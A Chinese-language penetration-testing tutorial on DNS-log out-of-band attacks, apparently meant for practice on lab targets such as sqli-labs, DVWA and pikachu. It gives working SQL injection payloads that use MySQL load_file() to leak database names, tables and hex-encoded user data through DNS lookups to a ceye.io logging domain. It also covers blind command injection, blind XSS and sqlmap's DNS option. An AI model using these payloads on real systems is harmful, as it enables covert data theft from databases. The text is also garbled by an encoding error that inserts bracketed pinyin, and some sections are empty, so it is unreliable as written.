渗透测试中dns log的使用
一、預(yù)備知識(shí)
dns(域名解析):
域名解析是把域名指向網(wǎng)站空間IP,讓人們通過注冊(cè)的域名可以方便地訪問到網(wǎng)站的一種服務(wù)。IP地址是網(wǎng)絡(luò)上標(biāo)識(shí)站點(diǎn)的數(shù)字地址,為了方便記憶,采用域名來代替IP地址標(biāo)識(shí)站點(diǎn)地址。域名解析就是域名到IP地址的轉(zhuǎn)換過程。域名的解析工作由DNS服務(wù)器完成。
域名解析也叫域名指向、服務(wù)器設(shè)置、域名配置以及反向IP登記等等。說的簡單點(diǎn)就是將好記的域名解析成IP,服務(wù)由DNS服務(wù)器完成,是把域名解析到一個(gè)IP地址,然后在此IP地址的主機(jī)上將一個(gè)子目錄與域名綁定。
互聯(lián)網(wǎng)中的地址是數(shù)字的IP地址,域名解析的作用主要就是為了便于記憶。(摘自百度百科)
dns服務(wù)器的端口是53。
二、原理
我們輸入域名之后 我們的本地域名服務(wù)器會(huì)把在自身服務(wù)器里面查詢是否存在ip地址 如果沒有則發(fā)送到根域名服務(wù)器 如果根域名服務(wù)器里面有對(duì)應(yīng)的記錄則返回 如果沒有則告訴本地域名服務(wù)器去向頂級(jí)域名服務(wù)器查找。
dns在解析的時(shí)候會(huì)留下記錄。
簡單來說:
當(dāng)dns服務(wù)器是我們自己的時(shí),我們就可以通過查看日志來查詢一些信息
?
三、準(zhǔn)備
或者也可以使用網(wǎng)上的平臺(tái),比如http://ceye.io
?
四、用處
?
?五、實(shí)驗(yàn):sql注入
dns log在sql注入中的使用主要因?yàn)閭鹘y(tǒng)sql注入需要向服務(wù)器發(fā)送大量數(shù)據(jù)包,容易被檢測、延時(shí)注入花費(fèi)時(shí)間長等原因
在http://ceye.io這個(gè)平臺(tái)注冊(cè)后它會(huì)給你一個(gè)三級(jí)域名,可以先訪問任意四級(jí)域名試試
在網(wǎng)站上查詢到了訪問的dns記錄
windows的共享功能同樣也會(huì)訪問dns服務(wù)器
關(guān)于mysql load_file()函數(shù):
在MySQL中,LOAD_FILE()函數(shù)讀取一個(gè)文件并將其內(nèi)容作為字符串返回。
?LOAD_FILE(file_name)?
其中file_name是文件的完整路徑。
這個(gè)函數(shù)也可以用來發(fā)送dns解析請(qǐng)求,這就是關(guān)鍵
load_file()使用限制:
1.文件必須位于服務(wù)器主機(jī)上。
2.你必須具有該FILE權(quán)限才能讀取該文件。擁有該FILE權(quán)限的用戶可以讀取服務(wù)器主機(jī)上的任何文件,該文件是world-readable的或MySQL服務(wù)器可讀的。
3.文件必須是所有人都可讀的,并且它的大小小于max_allowed_packet字節(jié)。
你可以這樣檢查:?SHOW VARIABLES?LIKE?'max_allowed_packet';?
如果secure_file_priv系統(tǒng)變量被設(shè)置為非空目錄名,則要加載的文件必須位于該目錄中。
你可以這樣檢查:?SHOW VARIABLES?LIKE?'secure_file_priv';
?
可以在mysql配置文件my.ini中更改secure_file_priv的值,如果沒有這個(gè)參數(shù)可以手動(dòng)添加
使用load_file()讀取文件:?select?load_file("d:\\1.txt");?
?
使用load_file()發(fā)送dns請(qǐng)求:?select?load_file("\\\\ccc.xxxx.ceye.io\\aaa");?
'\'在sql語句中要轉(zhuǎn)義,aaa可以改成任意字母。
使用load_file()發(fā)送dns請(qǐng)求查詢數(shù)據(jù)庫:?select?load_file(concat("\\\\",(select?database()),".xxxx.ceye.io\\aaa"));?
sql語句在雙引號(hào)內(nèi)不執(zhí)行,所以要用concat()函數(shù)拼接。
?查詢數(shù)據(jù)表:
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));查詢字段:
select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));?
查詢數(shù)據(jù):
select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));需要注意的是dns服務(wù)器無法接收符號(hào),當(dāng)查詢的數(shù)據(jù)中存在符號(hào)時(shí)需要編碼,這里用hex()編碼(ord()一次只能編碼一個(gè)字符)。
?
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));再使用sqli-labs第五關(guān)做實(shí)驗(yàn)
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+?
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+ ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 1,1),'.xxxx.ceye.io\\aaa'))),1,1)--+?
?id=1' and if((select load_file(concat('\\\\',(select hex(email_id) from emails limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+由于查詢的數(shù)據(jù)存在@符號(hào),使用了hex()函數(shù)
解碼得Dumb@dhakkan.com
?
?六、其他實(shí)驗(yàn)
1.命令注入
適用于無回顯的命令注入點(diǎn)
使用dvwa靶場的命令注入模塊實(shí)驗(yàn)
假設(shè)該注入點(diǎn)無回顯
查詢到了我們輸入的變量
windows常用變量:
- //變量? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 類型? ?? ? 描述
- //%ALLUSERSPROFILE%? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回“所有用戶”配置文件的位置。
- //%APPDATA%? ?? ?? ?? ?? ? ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回默認(rèn)情況下應(yīng)用程序存儲(chǔ)數(shù)據(jù)的位置。
- //%CD%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回當(dāng)前目錄字符串。
- //%CMDCMDLINE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回用來啟動(dòng)當(dāng)前的 Cmd.exe 的準(zhǔn)確命令行。
- //%CMDEXTVERSION%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回當(dāng)前的“命令處理程序擴(kuò)展”的版本號(hào)。
- //%COMPUTERNAME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回計(jì)算機(jī)的名稱。
- //%COMSPEC%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回命令行解釋器可執(zhí)行程序的準(zhǔn)確路徑。
- //%DATE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回當(dāng)前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關(guān) date 命令的詳細(xì)信息,請(qǐng)參閱 Date。
- //%ERRORLEVEL%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回上一條命令的錯(cuò)誤代碼。通常用非零值表示錯(cuò)誤。
- //%HOMEDRIVE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回連接到用戶主目錄的本地工作站驅(qū)動(dòng)器號(hào)。基于主目錄值而設(shè)置。用戶主目錄是在“本地用戶和組”中指定的。
- //%HOMEPATH%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回用戶主目錄的完整路徑。基于主目錄值而設(shè)置。用戶主目錄是在“本地用戶和組”中指定的。
- //%HOMESHARE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回用戶的共享主目錄的網(wǎng)絡(luò)路徑。基于主目錄值而設(shè)置。用戶主目錄是在“本地用戶和組”中指定的。
- //%LOGONSERVER%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回驗(yàn)證當(dāng)前登錄會(huì)話的域控制器的名稱。
- //%NUMBER_OF_PROCESSORS%? ? ? ? ? ?系統(tǒng)? ?? ? 指定安裝在計(jì)算機(jī)上的處理器的數(shù)目。
- //%OS%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回操作系統(tǒng)名稱。Windows 2000 顯示其操作系統(tǒng)為 Windows_NT。
- //%PATH%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 指定可執(zhí)行文件的搜索路徑。
- //%PATHEXT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回操作系統(tǒng)認(rèn)為可執(zhí)行的文件擴(kuò)展名的列表。
- //%PROCESSOR_ARCHITECTURE%? ? ? ?系統(tǒng)? ?? ? 返回處理器的芯片體系結(jié)構(gòu)。值:x86 或 IA64(基于 Itanium)。
- //%PROCESSOR_IDENTFIER%? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回處理器說明。
- //%PROCESSOR_LEVEL%? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回計(jì)算機(jī)上安裝的處理器的型號(hào)。
- //%PROCESSOR_REVISION%? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回處理器的版本號(hào)。
- //%PROMPT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回當(dāng)前解釋程序的命令提示符設(shè)置。由 Cmd.exe 生成。
- //%RANDOM%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回 0 到 32767 之間的任意十進(jìn)制數(shù)字。由 Cmd.exe 生成。
- //%SYSTEMDRIVE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回包含 Windows server operating system 根目錄(即系統(tǒng)根目錄)的驅(qū)動(dòng)器。
- //%SYSTEMROOT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回 Windows server operating system 根目錄的位置。
- //%TEMP%和%TMP%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)和用戶 返回對(duì)當(dāng)前登錄用戶可用的應(yīng)用程序所使用的默認(rèn)臨時(shí)目錄。有些應(yīng)用程序需要 TEMP,而其他應(yīng)用程序則需要 TMP。
- //%TIME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回當(dāng)前時(shí)間。使用與time /t命令相同的格式。由Cmd.exe生成。有關(guān)time命令的詳細(xì)信息,請(qǐng)參閱 Time。
- //%USERDOMAIN%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回包含用戶帳戶的域的名稱。
- //%USERNAME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回當(dāng)前登錄的用戶的名稱。
- //%USERPROFILE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回當(dāng)前用戶的配置文件的位置。
- //%WINDIR%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回操作系統(tǒng)目錄的位置。
2.xss盲打
使用pikachu的xss盲打模塊
收到請(qǐng)求說明觸發(fā)了插入的js代碼
?
七、sqlmap使用dns
sqlmap可以使用--dns-domain參數(shù)實(shí)現(xiàn)自動(dòng)化dns注入
總結(jié)
以上是生活随笔為你收集整理的渗透测试中dns log的使用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 某聊天工具消息记录数据库文件解密逆向分析
- 下一篇: 聊一聊bypass informatio